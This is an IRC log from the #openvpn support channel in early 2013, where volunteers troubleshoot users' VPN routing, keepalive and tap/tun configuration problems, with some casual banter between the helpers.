17:59 < MeanderingCode> i'm getting tls handshake timeouts, and yesterday libgnutls26 was updated
17:59 < MeanderingCode> the timing of which makes me think that somehow that lib update has broken my openvpn client functionality
18:00 < MeanderingCode> but of course no one in #ubuntu who is active in the channel has anything to say
18:03 < pekster> MeanderingCode: OpenVPN uses openssl, not gnutls
18:03 < MeanderingCode> hmmm, someone else on the same repos got the same update and they can still connect
18:03 < MeanderingCode> pekster: oh, there's more buckshot in that theory
18:03 < MeanderingCode> any other leads?
18:04 < pekster> Sounds like your traffic simply isn't making it to the remote endpoint. If you tcpdump the port used, do you see any return traffic? (Hopefully you see the outbound traffic, otherwise your problem is more local)
18:04 < MeanderingCode> getting no ack, it seems, when trying to start the tls handshake
18:04 < pekster> Right, that's the usual symptom of "your data isn't getting to the peer"
18:05 < MeanderingCode> pekster: pings come back...i will try tcpdump and run it again
18:05 < pekster> A ping to your peer? That means it's reachable and routable, but that doesn't necessarily mean the UDP traffic (or tcp, if used with proto tcp-client) is making it there and back
18:14 < MeanderingCode> pekster: yeah, running the tcpdump on the router, itself, shows no responses from the server
18:14 < MeanderingCode> thx for the tip
18:15 < pekster> So you're left with the potential for your outbound data to never reach the server, or the server's reply never to reach you; tcpdump would shows you return packets even if you firewalled them, so it's not your firewall (assuming you saw the outbound.)
18:16 < pekster> Could be an ISP or upstream filtering issue, or a problem with the reply somewhere
18:16 < pekster> You can try tracing that port with increasing TTL packets, starting with a TTL of 2 and see how far you get
18:17 < pekster> Compare that to a traceroute for your known-working ping
18:17 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
18:18 < MeanderingCode> pekster: thanks for the help...false alarm, it turns out: the server port i usually use isn't responding, but another port is
18:27 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 255 seconds]
18:39 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has quit []
18:39 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Ping timeout: 252 seconds]
18:41 -!- corretico [~luis@190.211.93.38] has quit [Ping timeout: 244 seconds]
18:43 -!- corretico [~luis@190.211.93.38] has joined #openvpn
18:44 < DougEFresh> hey
18:44 < DougEFresh> ecrist: you around
18:46 < DougEFresh> someone asked me wy no centos 6 openvpn AS
18:46 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
18:47 -!- MeanderingCode_ [~Meanderin@71-213-164-137.albq.qwest.net] has joined #openvpn
18:47 -!- MeanderingCode [~Meanderin@71-213-164-137.albq.qwest.net] has quit [Ping timeout: 240 seconds]
19:05 -!- MeanderingCode [~Meanderin@71-213-172-90.albq.qwest.net] has joined #openvpn
19:05 -!- MeanderingCode_ [~Meanderin@71-213-164-137.albq.qwest.net] has quit [Ping timeout: 255 seconds]
19:21 -!- MeanderingCode [~Meanderin@71-213-172-90.albq.qwest.net] has quit [Remote host closed the connection]
19:28 -!- raidz is now known as raidz_away
19:32 -!- p3rror [~mezgani@41.140.224.153] has quit [Ping timeout: 245 seconds]
19:37 -!- Devastator- [~devas@177.18.198.56] has quit [Changing host]
19:37 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
19:37 -!- Devastator- is now known as Devastator
19:55 -!- pwrcycle [~pwrcycle@173.214.160.92] has quit [Changing host]
19:55 -!- pwrcycle [~pwrcycle@unaffiliated/pwrcycle] has joined #openvpn
20:03 -!- C-S-B [~C-S-B@host81-157-117-86.range81-157.btcentralplus.com] has quit [Ping timeout: 248 seconds]
20:12 -!- Rassmasta [~Rassmasta@CPE0023bee4930d-CM0023bee4930a.cpe.net.cable.rogers.com] has joined #openvpn
20:12 < Rassmasta> !welcome
20:12 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
20:12 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
20:12 < Rassmasta> !howto
20:12 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
20:38 -!- Rassmasta [~Rassmasta@CPE0023bee4930d-CM0023bee4930a.cpe.net.cable.rogers.com] has quit [Quit: Leaving]
21:02 -!- C-S-B [~C-S-B@host86-171-238-234.range86-171.btcentralplus.com] has joined #openvpn
21:02 -!- n0sq [~quassel@75-135-14-61.dhcp.krny.ne.charter.com] has joined #openvpn
21:05 -!- NeoLobster [~NeoLobste@snugglenets.com] has joined #openvpn
21:09 < NeoLobster> Hi. I have an OpenVPN client connection set up on a workstation that's behind NAT. I use port forwarding on the router for incoming connections (on port 80 and 22). When I start the OpenVPN connection, I'm no longer able to access the inbound ports from outside of my network. Is there a way to configure OpenVPN to ignore those connections?
21:11 < NeoLobster> It seems as though the connection is coming in from the real network interface, but the response is being sent out through the VPN
21:12 < pekster> If you're using/pushing --redirect-gateway this is the expected behaviour. The solution is to stop using it if you do not want it
21:14 < NeoLobster> Is that a server-side configuration? I'm not sure if that's what's going on here, I see nothing about redirect-gateway in the config I'm using
21:15 < pekster> Yup, that can be pushed from the server. It'll show up in the client logs as a 'PUSH_REPLY' log line
21:15 < NeoLobster> Oh, yeah... I see that.
21:15 < NeoLobster> Thu Feb 28 20:54:19 2013 PUSH: Received control message: 'PUSH_REPLY,dhcp-option DNS 8.8.8.8,redirect-gateway,route 10.10.0.1,topology net30,ping 20,ping-restart 240,ifconfig 10.10.0.170 10.10.0.169'
21:16 < NeoLobster> Now, the problem is.. I don't have access to the server-side configuration. It's a paid VPN service. I basically have two ports that need to be visible to the outside world on my machine, but all other traffic needs to go through the VPN. Is there a way I can configure that from the client side?
21:16 < pekster> You can make a server-side exception by way of a ccd (or client-connect script) and use of push-reset. Optionally the client use route-nopull which doesn't apply any pushed routes
21:33 < rob0> ewww, net30
21:33 < rob0> and no def1
21:34 -!- Rassmasta [~Rassmasta@99.228.239.126] has joined #openvpn
21:38 < pekster> If that's a hosted/provider setup, bad providers are VPNs are a dime a dozen. I give it 6 months before the content industry catches on and starts using the legal system to tear the worst offenders down in the
21:38 < pekster> in the "web anonymonity" department
21:39 < pekster> I should do a write-up on how VPNs are not anonymous. Maybe I can get downvoted to no end on reddit with it :)
21:52 < EugeneKay> Ah, reddit.
21:52 < EugeneKay> Source of endless boobs.
22:25 -!- mongoman [~mongoman@200.46.98.147] has joined #openvpn
22:26 < mongoman> Hi, i have a problem using 2 openvpn client connections simultaneously.
22:27 < mongoman> Is there a white paper, or a common practice on achieving this?
22:27 < pekster> mongoman: Two unique clients connecting to the same server, or two unique connections both running on a single client?
22:28 < mongoman> the later.
22:29 -!- sysdoc [~sysdoc@pool-71-105-40-229.lsanca.dsl-w.verizon.net] has quit [Quit: Leaving]
22:29 < mongoman> I have a server that suppose to act as a gateway for the other clients in the lan, the only way out of the lan is through that server. the server connects to 2 different vpn provider for redundancy.
22:30 < mongoman> The 2 connections are given a different metric and are set as the GW_Server
22:30 < mongoman> *The 2 connections are given a different metric and are set as the GW_Server's default route.
22:30 -!- n0sq [~quassel@75-135-14-61.dhcp.krny.ne.charter.com] has quit [Remote host closed the connection]
22:31 < mongoman> The problem I am having is sometime I start getting about 50% packet loss, while both connections seem up
22:31 < mongoman> Each connection is working well by itself.
22:31 < pekster> What's the goal when you say you're using them both "for redundancy"?
22:32 < pekster> You want to use them both at the same time? Or for hot-failover?
22:32 < mongoman> In case one of the connections stops working(no more money in the vpn account, or they changed the server), i could route the internet trafic through the other connection
22:32 < mongoman> only as a hot-failover.
22:33 < pekster> Only use one as a default gateway then routed to the live VPN peer, and switch it over if it's disconnected or perhaps fails a connectivity check you perform (ping the VPN peer endpoint, ping some external series of "known good" hosts like google.com or such)
22:33 < pekster> route*
22:33 < pekster> The --up and --down scripts are probably of use here too
22:36 < mongoman> It's a good idea, however i still don't understand why i am getting the 50% packet loss
22:36 < mongoman> both connections work fine by themselves
22:36 < pekster> Probably because both routes end up getting used and you're getting results that take asymettric paths
22:37 < mongoman> that might be the reason, however i have a different metric on both interfaces
22:37 < pekster> Don't use multiple gateways like that unless you're marking each traffic stream to keep it bound to the correct externally-facing interface
22:38 -!- NuclearMeltdown [~rep@AntiLiberal-1-pt.tunnel.tserv9.chi1.ipv6.he.net] has joined #openvpn
22:38 < pekster> The metric only matters if you're using an actual routing protocol daemon
22:38 -!- NuclearMeltdown [~rep@AntiLiberal-1-pt.tunnel.tserv9.chi1.ipv6.he.net] has quit [Changing host]
22:38 -!- NuclearMeltdown [~rep@unaffiliated/antiliberal] has joined #openvpn
22:39 < mongoman> can you please elaborate on that?
22:39 < pekster> If you have not set up dynamic routing, then it's worthless, and the fact that you have multiple default gateways is causing the problem I described. Don't do that unless you're prepared to handle dynamic routing and the session-tracking that comes with it
22:40 < pekster> Keep session streams separated and route them separatly if you want to use "both" connections at once, traditionally done under Linux by use of the connmark set/match support and keying off that in your routing setup (I like using tc and rule matches by cloning the nfmark from the connmark, but there are other ways too.)
22:41 < pekster> If that sounds complicated, it is an advanced routing topic; the good news is you don't really want it from a "hot-failover" perspective. Just use a single default gateway and you have no need for dynamic routing
22:41 -!- Rassmasta [~Rassmasta@99.228.239.126] has quit [Quit: Leaving]
22:43 < pekster> If you're looking to split the traffic between uplinks based on definable rules, LARTC has some good materials. http://lartc.org/howto/lartc.rpdb.multiple-links.html
22:43 <@vpnHelper> Title: Routing for multiple uplinks/providers (at lartc.org)
22:43 < mongoman> So if i understand correctly, if I have 2 same static routes and a metric which is different, linux doesn't consider the metric when routeing the traffic?
22:43 < pekster> Start earlier in the LARTC guide if you're new to advanced routing concepts under Linux
22:45 < pekster> No, it doesn't do what you're expecting. http://osdir.com/ml/linux.network.routing/2002-11/msg00167.html
22:45 <@vpnHelper> Title: linux.network.routing - Re: does metric in route works? - msg#00167 - Recent Discussion OSDir.com (at osdir.com)
22:48 < mongoman> pekster, Thank you very much, I will look deeply into the info you gave me, thank you and have a good night.
22:49 < pekster> Sure thing. Based on your earlier stated goal of hot-failover, stop messing with multiple default gateways at once and just write some small scripts using the openvpn-provided --up and --down scripts, or design your own "detect if openvpn tunnel #1 is working" code to switch gateways if there's a problem
22:51 < mongoman> I will look into that, thanks.
23:00 -!- Rallias [~rallias@unaffiliated/gasseus] has joined #openvpn
23:01 < Rallias> Is it possible to have 2 tap VPN's share TAP0?
23:01 < pekster> Nope. If you really want the effect that would have, just bridge two unique tap adapters to a bridge
23:02 < pekster> You should use routing anyway unless you actually need to send Ethernet frames across your VPN
23:02 < pekster> !tunortap
23:02 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
23:02 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
23:02 < Rallias> problem with my setup... openvz doesn't support br0 in containers.
23:02 < pekster> Try a better virtualization solution?
23:02 < pekster> !openvz
23:02 <@vpnHelper> "openvz" is (#1) http://wiki.openvz.org/VPN_via_the_TUN/TAP_device to learn bout openvz specific stuff with regards to openvpn or (#2) It is usually less painful to switch to a host with better virtualization technology, eg Xen.
23:03 < Rallias> I'm not particularily in the mood to switch 1500 VPS's from openvz to xen.
23:04 < EugeneKay> What could possibly go wrong
23:04 < Rallias> EugeneKay, We run out of memory?
23:05 < pekster> OpenVZ is "efficient" at the expensive of not being true virtualization. It's effectively a glorified chroot with some extra features bolted on
23:05 < pekster> expense*
23:06 < EugeneKay> RAM is cheap
23:07 < Rallias> EugeneKay, I've got 608 gb of ram distributed across 20 servers and no funds to do anything cool.
23:07 < Rallias> We have 545.63 gb of guaranteed allocation, 1056.24 gb of burst allocation.
23:07 < Rallias> we don't have the capacity to switch to xen.
23:08 < Rallias> or kvm... altho we've got 10 kvm servers.
23:09 < Rallias> meh, I guess I have to do the openvpn branch office on a host node as opposed to a vps..
23:10 < pekster> Did I miss the part where you indicated a tun/routed setup wasn't going to work?
23:10 < pekster> AFAIK that works fine in OpenVZ as long as the host has loaded and exposed the proper support to guests
23:11 < Rallias> because tun involves more openvpn links and more cpu usage.
23:11 < Rallias> with tap I can have a br1 on the host node and use that with 60 VPS's.
23:12 < Rallias> with tun I have to have 1 openvpn link per vps
23:12 < EugeneKay> Why are you doing a link per VPS
23:12 < EugeneKay> Learn to route
23:13 < Rallias> because otherwise I'd have to use about 36 more public-facing IP's.
23:14 < EugeneKay> For.... what?
23:14 < EugeneKay> Are you trying to 1:1 NAT over VPN or something silly?
23:14 < Rallias> no, I'm trying to expose 172.16 IP's to the VPS's with only equipment I own.
23:14 < EugeneKay> Ok, so do that
23:15 < Rallias> which is what I'm trying to do.
23:15 < EugeneKay> !route
23:15 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
23:15 <@vpnHelper> behind the server or client
23:15 < Rallias> The only way to do that though with openvz without flooding the datacenter's arp tables with 172.16's (which they've said no to) is using veth
23:15 < EugeneKay> Oh, you don't have a private network.
23:15 < Rallias> no
23:16 < Rallias> well... per physical node...
23:16 < pekster> OpenVPN plays great in a subnet or point-to-point setup on Linux; no need to give anything a public IP unless it actually needs/has one
23:16 < pekster> (both of which are topology modes you can use with tun)
23:16 < pekster> !topology
23:16 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
23:17 < EugeneKay> In my colo I have a small on-link subnet(/29) with two machines connected to it, and then a larger(/26) one routed to a single IP, which I then expose to my vhosts etc on the back-end
23:17 < EugeneKay> I also have private subnets on that back-end
23:18 < EugeneKay> Total cost is an extra GbE on the gateway machine and a gigabit switch
23:18 -!- Rallias [~rallias@unaffiliated/gasseus] has left #openvpn ["Ok, whatever, I get that what I'm saying sounds absurd so I'm going to leave before I get into a shouting match."]
23:18 < pekster> Ragequits after you feed info that might help
23:18 < pekster> Fun times
23:18 < EugeneKay> Oh, he left?
23:18 < EugeneKay> Tardbucket.
23:19 < pekster> I have a feeling either your suggestion might have helped, or the realization that you don't need to eat a /30 in routed mode might have been the point of contention
23:20 < EugeneKay> There's not much money in the OpenVZ hosting market - it's an eternal race to the bottom. I'm guessing he wasn't the brightest sysadmin ;-)
23:21 -!- ploo [~lbz@c-71-196-252-82.hsd1.co.comcast.net] has left #openvpn []
23:21 < pekster> You know your company is in trouble when you end up ragequitting a volunteer IRC support channel without getting what you want :P
23:22 < EugeneKay> Hehehe
23:26 -!- krphop_ [~krphop@74.82.160.100] has joined #openvpn
23:32 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has quit [Ping timeout: 248 seconds]
23:32 -!- C-S-B [~C-S-B@host86-171-238-234.range86-171.btcentralplus.com] has quit [Ping timeout: 248 seconds]
23:32 -!- C_S_B [~C-S-B@craigsblackie.broker.freenet6.net] has joined #openvpn
23:32 -!- C_S_B is now known as C-S-B
--- Day changed Fri Mar 01 2013
00:09 -!- tyteen4a03 [tyteen4a03@69.50.229.69] has quit [Ping timeout: 272 seconds]
00:22 -!- tyteen4a03 [tyteen4a03@69.50.229.69] has joined #openvpn
00:30 -!- tyteen4a03 [tyteen4a03@69.50.229.69] has quit [Ping timeout: 245 seconds]
00:32 -!- tyteen4a03 [tyteen4a03@69.50.229.69] has joined #openvpn
00:37 -!- neilhwatson [~neilhwats@72.138.34.70] has quit [Ping timeout: 245 seconds]
00:47 -!- Visitorer [~Visitorer@unaffiliated/visitorer] has joined #openvpn
01:09 < Visitorer> This config : http://pastebin.com/ws59czK3  Server is on OS X.7, client on OS X.8, both have ports forwarded, both can see each other's iTunes library, but none can ping each other
01:09 < Visitorer> both have firewalls down
01:40 -!- mikkel [~mikkel@80.71.132.15] has joined #openvpn
01:51 -!- xtz [xtz@DeathStar.Techn0.eu] has joined #openvpn
02:01 -!- mongoman [~mongoman@200.46.98.147] has quit [Ping timeout: 245 seconds]
02:09 -!- mattock_afk is now known as mattock
02:15 -!- mongoman [~mongoman@200.46.98.147] has joined #openvpn
02:17 -!- brute11k [~brute@89.249.235.13] has quit [Read error: Connection reset by peer]
02:18 -!- Immatix [~Immatix@cpe-24-33-68-69.cinci.res.rr.com] has joined #openvpn
02:21 < Immatix> I have a layer 2 OpenVPN tunnel between two hosts, with tap interfaces on either end. On one end, the tap interface is bridged to a physical Ethernet interface and connected to a local network. On the other end, it's just a virtual tap interface. From the remote system, I can ping the address of the bridge, but yet I can't reach any of the hosts connected to the physical network. Am I missing something
02:21 < Immatix> obvious?
02:25 -!- mongoman [~mongoman@200.46.98.147] has quit [Ping timeout: 245 seconds]
02:26 -!- mongoman [~mongoman@200.46.98.147] has joined #openvpn
02:30 -!- simpelsimon [~smalessa@91-66-249-214-dynip.superkabel.de] has joined #openvpn
02:35 -!- odoacre [~antonio@64.235.48.199] has quit [Ping timeout: 248 seconds]
02:35 -!- odoacre [~antonio@64.235.48.199] has joined #openvpn
02:42 < Immatix> things seem to be getting dropped in the iptables FORWARD table of all places
02:44 -!- dpecka [~dpecka@193.165.171.107] has left #openvpn []
02:46 < Immatix> iptables physdev module seems to be the solution
02:54 -!- |Mike| [mike@2001:0:53aa:64c:28ac:7181:2b66:b9f1] has quit [Ping timeout: 245 seconds]
02:58 -!- md_5 [md_5@mcdevs/trusted/md-5] has quit [Quit: ZNC - http://znc.in]
02:59 -!- md_5 [md_5@mcdevs/trusted/md-5] has joined #openvpn
03:13 -!- zz_AsadH is now known as AsadH
03:20 -!- dazo_afk is now known as dazo
03:21 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
03:21 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 276 seconds]
03:28 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
03:35 -!- Immatix [~Immatix@cpe-24-33-68-69.cinci.res.rr.com] has quit [Quit: WeeChat 0.3.7]
03:37 -!- TommehM [~TomM@unaffiliated/tommehm] has quit [Excess Flood]
03:46 -!- bamalam [bamalam@80.243.180.121] has joined #openvpn
03:48 -!- TommehM [~TomM@unaffiliated/tommehm] has joined #openvpn
04:02 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
04:06 < bamalam> why does openvpn supercede ident2 and give out a real username?
04:06 -!- pwrcycle [~pwrcycle@unaffiliated/pwrcycle] has quit [Ping timeout: 255 seconds]
04:07 < bamalam> in debian/sid BTW
04:08 < bamalam> it did not in lenny, I missed squeeze
04:12 < bamalam> in.ident2[27639]: sent reply `bamalam' to query 38.229.70.20 (34595, 6667), uid = 1000
04:12 < bamalam> btw ident2 is launched _y for user configurable ident
04:12 < bamalam> *-y
04:13 -!- pwrcycle [~pwrcycle@173.214.160.92] has joined #openvpn
04:14 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 260 seconds]
04:14 < bamalam> without openvpn connected and running, it send out whatever ident I choose
04:17 <@plaisthos> openvpn has nothing to do with indent
04:18 < bamalam> fair enough, why does it work as expected and configurd without openvpn?
04:18 < bamalam> i would have thought the same myself
04:29 <@plaisthos> no idea depends on your identd
04:36 -!- p3rror [~mezgani@41.250.238.203] has joined #openvpn
04:39 -!- simpelsimon [~smalessa@91-66-249-214-dynip.superkabel.de] has left #openvpn []
04:44 -!- marksaitis [~marksaiti@81.101.81.114] has joined #openvpn
04:49 < Visitorer> This config : http://pastebin.com/ws59czK3  Server is on OS X.7, client on OS X.8, both have ports forwarded, both have firewalls down, both can see each other's iTunes library, but none can ping each other
04:50 < Visitorer> wait, I just realized that we may have been connected through hamachi, so maybe we wouldn't have seen each other's iTunes library
04:55 < Visitorer> I editted the pastebin to include logs
04:55 < kisom> Visitorer: Your paste is private.
04:55 < Visitorer> oh.. oops
04:56 < Visitorer> http://pastebin.com/7rvRbivz
04:56 < Visitorer> I didn't include the part of the log where the server starts though, should I include it?
04:57 < Visitorer> edited hte paste to include it
04:58 < kisom> ...did you edit the log? The time stamp goes backwards in time at some point.
04:58 < Visitorer> yeah it's weird but no I didn't edit it
04:58 < kisom> Row 55 for example.
04:59 < kisom> OK, you should tcpdump to see what's happening.
04:59 < kisom> Is either peer within china?
05:00 < Visitorer> nope
05:00 < Visitorer> will do.. I can't do that right now though since my friend is offline
05:00 < Visitorer> would it help if I changed the verbosity of the server?
05:00 < kisom> Ptobably.
05:01 < kisom> On the other hand
05:01 < kisom> I see a TLS: tls_process: killed expiring key
05:01 < Visitorer> hmmm...
05:01 -!- marksaitis [~marksaiti@81.101.81.114] has quit [Remote host closed the connection]
05:02 < kisom> Does the tunnel work for an hour or so?
05:03 < Visitorer> actually, yes. It seems to redo the same thing every hour
05:03 < kisom> Add a --keepalive to the server side and pull settings from the client.
05:04 < Visitorer> I'm not launching it from commandline, unfortunately
05:05 < kisom> So add it in the config.
05:05 < Visitorer> the server already has "keepalive 10 120", are you talking about something else?
05:05 < kisom> Oh yeah, sorry, I missed it
05:06 < kisom> I think the client side logs would be more describing.
05:09 < Visitorer> I will check with my friend "tomorrow"
05:14 < Rienzilla> hmm
05:14 < Rienzilla> can openvpn push a route with a non-default metric?
05:14 < Rienzilla> ah yes
05:14 < Rienzilla> it can :)
05:25 < kisom> Visitorer: You dont specify an IP address on the client side, btw.
05:25 < kisom> Visitorer: Neither do you pull options from the server
05:25 < kisom> I'm not 100% sure that the IP address needs to be pulled tho
05:25 < kisom> But having the pull option on the client side in generally a good idea imo
05:27 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
05:27 < kisom> Visitorer: Read the --pull directive in the manual. It explains your issue.
05:31 -!- marksaitis [~marksaiti@81.101.81.114] has joined #openvpn
05:36 < Rienzilla> hmz
05:39 < Rienzilla> Ok. I have a number of mobile offices (trucks). They are connected to the internet using a small embedded box containing a 3g-device which acts as a router for the machines in the truck. The embedded box connects to an openvpn server (tun), and routes all traffic through the tunnel with redirect-gateway...
05:40 < Rienzilla> Now, the embedded box also has a wifi interface, which is supposed to supply connectivity at some places (where the 3g coverage is poor). I would like the packets to the vpn endpoint to go through the wifi interface as soon as it's up
05:41 -!- gitsu-sa [~gtu@unaffiliated/gitsu-sa] has joined #openvpn
05:41 < Rienzilla> usually I would do this by setting a high metric on the routes over the 3g, and add lower metric routes to the same destination over the wifi link as soon as it comes up
05:41 < gitsu-sa> hey :) in a small lan, what do you would use, tcp or upd?
05:41 < Rienzilla> gitsu-sa: for openvpn, if you can use udp, use udp
05:42 < gitsu-sa> Rienzilla: uhm?
05:42 < gitsu-sa> sure i can x_x
05:42 < Rienzilla> ok
05:42 < Rienzilla> use udp then :)
05:42 < EugeneKay> I remember a patch to make openvpn work over ICMP
05:42 < EugeneKay> That was a riot.
05:42 < gitsu-sa> w..why? D:
05:43 < Rienzilla> because sending tcp over tcp is bad
05:44 < Rienzilla> the protocols that are used on top of the vpn will take care of data loss etc when needed, so openvpn doesnt need to
05:44 < Rienzilla> ....but my question to the channel: can I make openvpn add routes with redirect-gateway, with a higher metric?
05:47 < gitsu-sa> Rienzilla: can I use upd for long distance connections too?
05:47 < gitsu-sa> on the other face of the world, for example
05:50 -!- gitsu-sa [~gtu@unaffiliated/gitsu-sa] has quit [Quit: leaving]
05:51 < kisom> And openvpn over TCP is currently broken, too ;)
05:51 < Rienzilla> .....yes? :)
05:53 -!- brute11k [~brute@89.249.235.13] has joined #openvpn
06:01 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
06:02 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
06:13 -!- ade_b [Ade@nat/redhat/x-tiojihvfdggsxoan] has joined #openvpn
06:13 -!- ade_b [Ade@nat/redhat/x-tiojihvfdggsxoan] has quit [Changing host]
06:13 -!- ade_b [Ade@redhat/adeb] has joined #openvpn
06:44 -!- dxtr [~dxtr@unaffiliated/dxtr] has quit [Ping timeout: 256 seconds]
06:45 -!- dxtr [~dxtr@unaffiliated/dxtr] has joined #openvpn
06:46 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 264 seconds]
06:49 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
07:02 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Read error: Operation timed out]
07:07 -!- bamalam [bamalam@80.243.180.121] has quit [Ping timeout: 245 seconds]
07:15 -!- kobolduk [~kobolduk@office.prolocation.net] has joined #openvpn
07:16 -!- kyrix [~ashley@85.126.76.82] has joined #openvpn
07:31 < sejo> how can I know what name my client has (to put in ccd folder)
07:31 < sejo> is that the NAME of the csr or the cn?
07:42 < kisom> Its the cn
07:42 < kisom> It's all in the manual.
07:46 <@dazo> sejo: openssl x509 -noout -subject -in $CERTFILE
07:46 < sejo> thanks davo
07:47 < sejo> dazo
07:47 < sejo> now to figure out routing
07:47 < sejo> this is fun
07:47 <@dazo> !tcpip
07:47 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
07:59 -!- odoacre [~antonio@64.235.48.199] has quit [Read error: Connection reset by peer]
08:07 -!- brute11k [~brute@89.249.235.13] has quit [Read error: Connection reset by peer]
08:10 -!- dxtr [~dxtr@unaffiliated/dxtr] has quit [Ping timeout: 256 seconds]
08:12 -!- dxtr [~dxtr@unaffiliated/dxtr] has joined #openvpn
08:14 -!- odoacre [~antonio@64.235.48.199] has joined #openvpn
08:17 -!- brute11k [~brute@89.249.235.13] has joined #openvpn
08:22 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
08:30 -!- speed_racer8 [~speed_rac@98.196.168.201] has quit [Ping timeout: 245 seconds]
08:36 -!- greyeax [~grey@cpe-108-185-215-179.socal.res.rr.com] has quit [Read error: Connection reset by peer]
08:37 -!- gladiatr [~sdspence@24.124.15.166] has joined #openvpn
08:37 -!- gladiatr [~sdspence@24.124.15.166] has quit [Changing host]
08:37 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has joined #openvpn
08:41 -!- odoacre_ [~antonio@222.126.240.10] has joined #openvpn
08:43 -!- speed_racer8 [~speed_rac@76.30.149.251] has joined #openvpn
08:45 -!- mikkel [~mikkel@80.71.132.15] has quit [Quit: Leaving]
08:45 -!- odoacre [~antonio@64.235.48.199] has quit [Ping timeout: 255 seconds]
08:46 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 255 seconds]
09:00 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
09:00 -!- failshell [~failshell@lpr157.lapresse.ca] has joined #openvpn
09:02 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
09:06 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
09:11 < failshell> hello, in a site-to-site setup, i keep getting that message every 5 minutes or so: Inactivity timeout (--ping-restart), restarting
09:11 < failshell> and the tunnels restarts
09:11 < failshell> how do i disable that? i want it to stay up at all times
09:11 < failshell> im using a pre-shared key
09:13 < Rienzilla> you can set a keepalive afaik
09:14 < Rienzilla> keepalive 5 30
09:14 < Rienzilla> in config
09:17 < failshell> on the server or client?
09:23 < Rienzilla> I don't thin kit matters
09:24 < rob0> If using a pre-shared key there is no server nor client. Set options you need in each peer's config.
09:24 < Rienzilla> as long as one of the nodes is sending a ping once in a while it's fine
09:24 < Rienzilla> but both is fine, too I think
09:24 -!- xtz [xtz@DeathStar.Techn0.eu] has quit [Quit: leaving]
09:27 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has joined #openvpn
09:28 < failshell> Authenticate/Decrypt packet error: bad packet ID (may be a replay): [ #593 / time = (1362151593) Fri Mar 1 10:26:33 2013 ] -- see the man page entry for --no-replay and --replay-window for more info or silence this warning with --mute-replay-warnings
09:28 < failshell> i get a lot of those too
09:28 < failshell> should i be worried?
09:35 < pekster> failshell: Did you see the notes in the manpage under the --replay-window option that discuss how to use verb 4 to see if you need to increase the replay window?
09:35 -!- ade_b [Ade@redhat/adeb] has quit [Ping timeout: 276 seconds]
09:35 < failshell> well yes, but since i dont really understand the implications
09:36 < failshell> im not sure what to do
09:36 < failshell> hence my questions :)
09:37 < pekster> Are you running at verb 4? Do you get any of the "Replay-window backtrack occurred" messages?
09:37 < failshell> i didnt see that message
09:38 < failshell> all i know, is that the tunnel keeps restarting
09:38 < pekster> Inactivity timeout is an unrelated issue to the bad packet ID
09:38 < pekster> You need to mirror your ping/ping-restart options between peers
09:39 < failshell> well, i added keepalive 5 30 on each side
09:39 < failshell> let me set ping/ping-restart
09:40 < pekster> keepalive is just a helper-directive that implies the ping/ping-restart options
09:41 < failshell> cant i just disable the restart instead?
09:41 < failshell> its a tunnel, it should not restart
09:41 < failshell> ever
